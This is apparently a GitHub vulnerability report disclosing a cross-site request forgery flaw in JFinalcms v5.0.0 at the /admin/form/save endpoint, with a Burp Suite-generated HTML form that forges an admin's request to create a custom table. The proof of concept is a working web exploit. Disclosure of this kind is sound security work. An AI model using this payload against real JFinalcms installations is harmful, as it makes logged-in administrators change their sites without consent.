Skip to content

Latest commit

 

History

History
31 lines (22 loc) · 865 Bytes

CSRF exists at the creation location of the custom table.md

File metadata and controls

31 lines (22 loc) · 865 Bytes

Author:MengYang

target:https://gitee.com/heyewei/JFinalcms

version:v5.0.0

JFinalcms v5.0.0 was discovered to contain a Cross-Site Request Forgery (CSRF) via the component /admin/form/save

图片

create poc

图片

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1:8888/admin/form/save" method="POST">
      <input type="hidden" name="name" value="cs" />
      <input type="hidden" name="tableName" value="123" />
      <input type="hidden" name="code" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

successed